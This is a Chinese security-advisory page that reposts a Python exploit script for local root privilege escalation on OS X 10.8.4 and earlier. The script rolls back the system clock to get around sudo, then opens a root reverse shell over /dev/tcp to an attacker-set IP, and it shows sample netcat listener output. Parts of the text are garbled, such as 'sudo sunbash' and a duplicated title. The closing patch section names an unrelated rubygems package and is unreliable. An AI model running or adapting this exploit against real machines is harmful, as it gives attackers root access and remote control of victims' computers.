OSX <= 10.8.4 - Local Root Priv Escalation (py)

2013-09-04 00:00:00

发布时间: 2013-09-04 (GMT+0800)

测试方法:

@zihuitech.com  dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. #!/usr/bin/python

  2. # Original MSF Module:

  3. # https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudo_password_bypass.rb

  4. ###################################################################################################

  5. # Exploit Title: OSX <= 10.8.4 local root priv escalation root reverse shell<><= 10.8.4 local root priv escalation root reverse shell<>

  6. # Date: 08-27-2013

  7. # Exploit Author: David Kennedy @ TrustedSec

  8. # Website: https://www.trustedsec.com

  9. # Twitter: @Dave_ReL1K

  10. # Tested On: OSX 10.8.4

  11. #

  12. # Reference: http://www.exploit-db.com/exploits/27944/

  13. #

  14. # Example below:

  15. # trustedsec:Desktop Dave$ python osx_esc.py

  16. # [*] Exploit has been performed. You should have a shell on ipaddr: 127.0.0.1 and port 4444

  17. #

  18. # attacker_box:~ Dave$ nc -l 4444

  19. # bash: no job control in this shell

  20. # bash-3.2#

  21. ###################################################################################################

  22. import subprocess

  23. # IPADDR for REVERSE SHELL - change this to your attacker IP address

  24. ipaddr ="192.168.1.1"

  25. # PORT for REVERSE SHELL - change this to your attacker port address

  26. port ="4444"

  27. # drop into a root shell - replace 192.168.1.1 with the reverse listener

  28. proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)

  29. proc.stdin.write("systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo sunbash -i >& /dev/tcp/%s/%s 0>&1 &n"%(ipaddr,port))

  30. print"""

  31. ###############################################################

  32. #

  33. # OSX < 10.8.4 local root priv escalation root reverse shell<>< 10.8.4 local root priv escalation root reverse shell<>

  34. #

  35. # Written by: David Kennedy @ TrustedSec

  36. # Website: https://www.trustedsec.com

  37. # Twitter: @Dave_ReL1K

  38. #

  39. # Reference: http://www.exploit-db.com/exploits/27944/

  40. ###############################################################

  41. """

  42. print"[*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s"%(ipaddr,port)

子辉安全建议:

厂商补丁:

rubygems
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

https://rubygems.org/gems/sounder